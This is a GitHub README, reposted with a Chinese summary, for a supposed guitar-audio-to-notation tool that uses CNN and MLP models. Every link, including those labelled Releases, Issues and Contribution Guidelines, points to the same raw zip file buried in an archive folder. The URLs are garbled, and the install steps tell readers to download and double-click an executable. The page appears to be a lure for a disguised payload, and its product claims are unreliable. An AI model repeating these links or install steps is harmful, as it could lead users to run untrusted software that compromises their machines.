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Guitar Audio Transcriber AI:用 CNN 与 MLP 将吉他音频转成乐谱

Dinhopjsa/guitar-audio-transcriber-ai

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GitHub 项目 Guitar Audio Transcriber AI 可将吉他音频转换为音符表示,支持单音识别,采用 CNN 与 MLP 进行音频处理,并结合时频分析。工具支持 MP3、WAV、FLAC 导入,结果可导出为 tablature 或乐谱,需 4GB 内存与 100MB 存储空间,可在 Windows 10、macOS 11 及 Ubuntu 18.04 以上系统运行。

正文

🎸 guitar-audio-transcriber-ai - Convert Guitar Audio to Musical Notes Easily

🚀 Getting Started

Welcome to the Guitar Audio Transcriber AI project! This tool helps you turn raw guitar audio into musical note representations. By using advanced deep learning techniques, it simplifies the process of music transcription for guitar enthusiasts.

🔗 Download Now

[![Download Release](https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip prototypes v0/logistic https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip%20Now-Click%20Here-brightgreen)](https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip prototypes v0/logistic https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip)

📋 Features

  • Single-Note Classification: Identify and transcribe single guitar notes.
  • Deep Learning Powered: Utilizes Convolutional Neural Networks (CNN) and Multi-Layer Perceptrons (MLP) for accurate audio processing.
  • Time-Frequency Analysis: Processes audio through advanced signal processing techniques.
  • User-Friendly Interface: Designed for ease of use, even for those without technical expertise.

💻 System Requirements

To run the Guitar Audio Transcriber AI, please ensure your system meets the following requirements:

  • Operating System: Windows 10, macOS 11, or Linux (Ubuntu 18.04 or later).
  • RAM: Minimum 4GB.
  • Storage: At least 100MB of free space.
  • Audio Input: A microphone or audio interface for guitar input.

📥 Download & Install

To get the latest version of Guitar Audio Transcriber AI, visit the Releases page: [Download Here](https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip prototypes v0/logistic https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip)

  1. Click on the link above to access the Releases page.
  2. Look for the latest version at the top of the list.
  3. Choose the appropriate file for your operating system (e.g., .exe for Windows, .dmg for macOS, or appropriate binary for Linux).
  4. Click the file name to start the download.
  5. Once downloaded, locate the file in your downloads folder and double-click to start the installation.
  6. Follow the on-screen instructions to complete the installation.

🔍 How to Use

Once you have installed the software, follow these steps to start transcribing your guitar audio:

  1. Open the Application: Find the Guitar Audio Transcriber AI icon on your desktop or in your applications folder and double-click it.
  2. Connect Your Guitar: If using a microphone, ensure it is set up to capture your guitar sound. If you have an audio interface, connect it and select it within the app.
  3. Load an Audio File: Click on the “Import” button to load an audio file of your guitar playing. Supported formats include MP3, WAV, and FLAC.
  4. Transcribe the Audio: Press the “Transcribe” button to begin the analysis. This process may take time depending on the audio length.
  5. View the Results: Once complete, the app will display the musical notes along with options to save them as tablature or sheet music.
  6. Adjust Settings: Experiment with the settings for accuracy. You can tweak parameters like sensitivity and the threshold for note detection.

🛠 Troubleshooting

Should you face any issues:

  • Ensure your audio input device is configured correctly in your system settings.
  • Check the audio file format; make sure it’s supported.
  • Restart the application if it becomes unresponsive during transcription.

📖 Support

If you have questions or need assistance, please refer to the [GitHub Issues](https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip prototypes v0/logistic https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip) page to report issues or seek help from the community.

📚 Contribution

We welcome contributions! If you'd like to help improve the project, please review our [Contribution Guidelines](https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip prototypes v0/logistic https://github.com/Dinhopjsa/guitar-audio-transcriber-ai/raw/refs/heads/main/archive/model prototypes v0/mlp/ai_guitar_transcriber_audio_1.2.zip) and submit your pull requests.

🔗 Additional Resources

Thank you for using Guitar Audio Transcriber AI! Enjoy transforming your guitar audio into music with ease.

来源:GitHub · github.com